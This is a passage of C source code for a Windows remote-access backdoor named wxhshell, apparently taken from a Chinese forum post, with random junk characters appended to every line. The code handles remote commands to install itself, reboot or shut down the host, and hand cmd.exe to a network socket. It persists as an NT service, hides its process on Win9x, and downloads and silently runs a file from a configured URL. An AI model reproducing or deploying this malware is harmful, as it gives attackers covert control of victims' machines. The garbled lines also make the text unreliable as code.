Cm99?K  
    switch(cmd[0]) { l# }As.o}  
  cAYa=}~<  
  // 帮助 ;OQ#@|D  
  case '?': { )Uc$t${en  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )r-T=  
    break; *xEI Zx  
  } CX1L(Y[  
  // 安装 z]'|nX  
  case 'i': { -$'~;O3s  
    if(Install()) 3csm`JVK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B?$S~5  }  
    else +ZY2a7uI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b5lk0jA  
    break; :y4)qF  
    } <)r,CiS  
  // 卸载 0*/mc96  
  case 'r': { (xI)"{   
    if(Uninstall()) <\B],M1=s=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VaOpO8y`  
    else AN|jFSQ'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4he v ;  
    break; Z&AHM &,yj  
    } r)) $XM  
  // 显示 wxhshell 所在路径 6-)7:9y  
  case 'p': { =x|##7  
    char svExeFile[MAX_PATH]; LsuAOB 8  
    strcpy(svExeFile,"\n\r"); !l sy&6  
      strcat(svExeFile,ExeFile);  Oz"@yL}  
        send(wsh,svExeFile,strlen(svExeFile),0); e-L5=B  
    break; 67Af} >Q  
    } XLkL#&Ir  
  // 重启 _lP4ez Y  
  case 'b': { Ukk-(gjX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s :-8 Z\,  
    if(Boot(REBOOT)) <B|n<R<?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!q2F%02FO  
    else { AAIyr703cQ  
    closesocket(wsh); ]>]#zu$=c  
    ExitThread(0); @2x0V]AI  
    } =NVZ$KOZ  
    break; fvAh?<Ul  
    } V+4k!  
  // 关机  }qgqb  
  case 'd': { L8,H9T#e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U08<V:~  
    if(Boot(SHUTDOWN)) jhjW* F<u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]# tGT0   
    else { $Uv<LVd(  
    closesocket(wsh); ]be 0I)  
    ExitThread(0); l%-67(  
    } 4~]8N@Bii  
    break; $@+p~)r(l  
    } >Hd~Ca>  
  // 获取shell 0 .6X{kO  
  case 's': { ,kGw;8X  
    CmdShell(wsh); N"q+UCRC  
    closesocket(wsh); N}.Q%&6:  
    ExitThread(0); sRo<4U0M;l  
    break; )A>U<n$h  
  } Zi[{\7a  
  // 退出 4)x3!Ol  
  case 'x': { oo$WD6eCR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 $KLMW  
    CloseIt(wsh); 0-;DN:>  
    break; u8{@PlS  
    } `Yo -5h  
  // 离开 ?<>,XyY  
  case 'q': { X:xC>4]gG'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h%C Eb<  
    closesocket(wsh); Knw'h;,[  
    WSACleanup(); _D7HQ  
    exit(1); H3UX{|[  
    break; L.I}-n  
        } 34++Rr [G  
  } g%fJyk'  
  } B $ y44  
R:pBbA7E  
  // 提示信息 qH {8n`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "tg\yem  
} Nj3^"}V  
  } s)o ,Fi  
k#IS ,NKE  
  return; ZF/J/;uI  
} 7YQK@lS  
T}b( M*E  
// shell模块句柄 :?&WKW  
int CmdShell(SOCKET sock) IgHs&=  
{ QYf/tQg$  
STARTUPINFO si; &4[#_(pk  
ZeroMemory(&si,sizeof(si)); ~Uwr68 9N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rlUdAa3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Up!ZCZ$RC  
PROCESS_INFORMATION ProcessInfo; <x>k3bD  
char cmdline[]="cmd"; 5m%baf2_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); alb+R$s  
  return 0; ]"2 v7)e  
} 3-_U-:2"  
<L!~f`nH2  
// 自身启动模式 U4^p({\|-  
int StartFromService(void) ]U^d1&k  
{ ,XBV}y  
typedef struct Dbkuh!R  
{ sBuq  
  DWORD ExitStatus; SG+i\yu$h0  
  DWORD PebBaseAddress; q. ,p6D  
  DWORD AffinityMask; \/x)BE,  
  DWORD BasePriority; 6ljRV)  
  ULONG UniqueProcessId; *k@0:a(>  
  ULONG InheritedFromUniqueProcessId; 0]2B-o"kI  
}   PROCESS_BASIC_INFORMATION; HhY2`P8  
$@:>7Y"  
PROCNTQSIP NtQueryInformationProcess; 28UL  
xP5mL3j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TW-zh~|F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J?n)FgxS  
[-:<z?(n4  
  HANDLE             hProcess; &\6`[# bT  
  PROCESS_BASIC_INFORMATION pbi; i Ks,i9j  
3>@qQ_8%~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _?(hWC"0  
  if(NULL == hInst ) return 0; _1>(GK5[  
>m_ p\$_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;SlS!6.W-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jN'fm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VATXsD  
asmW W8lz  
  if (!NtQueryInformationProcess) return 0; abJ@>7V  
3qxG?G N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jFPE>F7-M  
  if(!hProcess) return 0; }JpslY*aS  
h2/1S{/n]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hOrk^iYN=  
+ k(3+b$S-  
  CloseHandle(hProcess); K^cWj_a"  
EfrkB"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pguyf2/w  
if(hProcess==NULL) return 0; ixJ20A7  
+v[$lh+  
HMODULE hMod; Oz9Mqcx  
char procName[255]; Y4 ~wNs6  
unsigned long cbNeeded; !>kv.`|7~  
Zh~Lm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zQ6 -2 A  
Y5A~iGp8E  
  CloseHandle(hProcess); VqO<+~M,E  
A*26'  
if(strstr(procName,"services")) return 1; // 以服务启动 +VpE-X=T  
@IyH(J],h  
  return 0; // 注册表启动 }^ Ua  
} <{z3p:\  
L ugk`NUvF  
// 主模块 Eztz ~oFo  
int StartWxhshell(LPSTR lpCmdLine) ZNH*[[Pf  
{ 1~xn[acy  
  SOCKET wsl;  eS@!\H x  
BOOL val=TRUE; '*LN)E> d  
  int port=0; hZ\W ?r  
  struct sockaddr_in door; U0bE B  
E[Ws} n.  
  if(wscfg.ws_autoins) Install(); fF-\TW  
#+ lq7HJ1  
port=atoi(lpCmdLine); Sc"4%L  
6q uWO2x  
if(port<=0) port=wscfg.ws_port; D@b<}J>0'  
T~~$=vP9  
  WSADATA data; `Py= ?[cD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @01D1A  
?D^,K`wY=B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xx<&6 4W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R#Nd|f<  
  door.sin_family = AF_INET; 7%"\DLA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ GT\RAj[  
  door.sin_port = htons(port); qxcBj  
5bznM[%xO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d @kLLDP  
closesocket(wsl); LX?r=_\  
return 1; 0*:hm%g  
} DGfQo5#  
,ZP3F+XKb  
  if(listen(wsl,2) == INVALID_SOCKET) { O\8|niW|  
closesocket(wsl); F?,&y)ri  
return 1; U!I_i*:U  
} {LJ6't 8y:  
  Wxhshell(wsl); H{A| ~V)  
  WSACleanup(); Ho._&az9cT  
 jnKM6%z  
return 0; ch8w'  
wrb& ta  
} (yTz^o$t|  
c+i`Zd.m<  
// 以NT服务方式启动 cxJK>%84  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I/b8  
{ $\@ V4  
DWORD   status = 0; ,t&-`U]AX  
  DWORD   specificError = 0xfffffff; ~md|k  
^FMa8;'o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .rB;zA;4S)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n ua8y(W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I~ ]mX;  
  serviceStatus.dwWin32ExitCode     = 0; MbFe1U]B  
  serviceStatus.dwServiceSpecificExitCode = 0; #|_UA}Y  
  serviceStatus.dwCheckPoint       = 0; AW;) _|xM  
  serviceStatus.dwWaitHint       = 0; GuY5 % wr  
<w2NJ ~M^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6.7 Kp  
  if (hServiceStatusHandle==0) return; |{LaZXU&  
XM@i|AK M0  
status = GetLastError(); P$ dgO  
  if (status!=NO_ERROR) Z *<x  
{  aC }1]7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m#K%dR  
    serviceStatus.dwCheckPoint       = 0; .&}4  
    serviceStatus.dwWaitHint       = 0; 95 .'t}  
    serviceStatus.dwWin32ExitCode     = status; 3XlnI:w =  
    serviceStatus.dwServiceSpecificExitCode = specificError; MMr7,?,$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hYv 6-5_  
    return; <J }9.k  
  } |QTqa~~B  
8EEQV}4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IS4K$Ac.  
  serviceStatus.dwCheckPoint       = 0; W#\};P  
  serviceStatus.dwWaitHint       = 0; Z#:@M[HH{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m'"VuH?^  
} p'!,F; xX  
s]8J+8 <uO  
// 处理NT服务事件,比如:启动、停止 nzJi)A./  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `0XbV A  
{ V >uW|6  
switch(fdwControl) fX$4TPy(h  
{ P:-/3  
case SERVICE_CONTROL_STOP: 7Z~szD  
  serviceStatus.dwWin32ExitCode = 0; :h^UC~[h 3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ci9wF (<k  
  serviceStatus.dwCheckPoint   = 0; V;]VwsZ"  
  serviceStatus.dwWaitHint     = 0; 14YV#o:  
  { -x\l<\*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -&D6w9w  
  } f#Cdx"  
  return; <\>ak7m  
case SERVICE_CONTROL_PAUSE: DSZhl-uGM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vfTG*jG  
  break; la|l9N^,  
case SERVICE_CONTROL_CONTINUE: ?[/,*Q%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rZQHB[^3  
  break; lbU+a$  
case SERVICE_CONTROL_INTERROGATE: Y9y*" :&%  
  break; d*(Bs $De  
}; i{[H3p8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ',s7h"  
} P(nHXVSUE  
PjZvLK@a9)  
// 标准应用程序主函数 J*&=J6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /~huTKA}  
{ LF.~rmPa  
\bA'Furp  
// 获取操作系统版本 d]~1.i  
OsIsNt=GetOsVer(); $<e .]`R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %vYlu%c<  
Eq;frnw>q  
  // 从命令行安装 "(&`muIc  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Ha}xwA~(  
c!wB'~MS#  
  // 下载执行文件 ! e,(Zz5  
if(wscfg.ws_downexe) { s:F+bG}|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WvzvGT=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5d{Ggg{s  
} pcTXTy 28  
k#NMD4(%O  
if(!OsIsNt) { cD@lor j  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y8'_5?+ 0  
HideProc(); QjN3j*@  
StartWxhshell(lpCmdLine); g@f/OsR76  
} N%E2BJ?  
else G*p.JsZP  
  if(StartFromService()) O|zmDp8a+  
  // 以服务方式启动 ?ML<o>OKg  
  StartServiceCtrlDispatcher(DispatchTable); -+@~*$ d  
else Awf = yE:  
  // 普通方式启动 ms<uYLp  
  StartWxhshell(lpCmdLine); zGz'2, o3  
xm, yqM!0A  
return 0; :?6$}GcW  
}
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只看该作者 1 发表于: 2006-10-10
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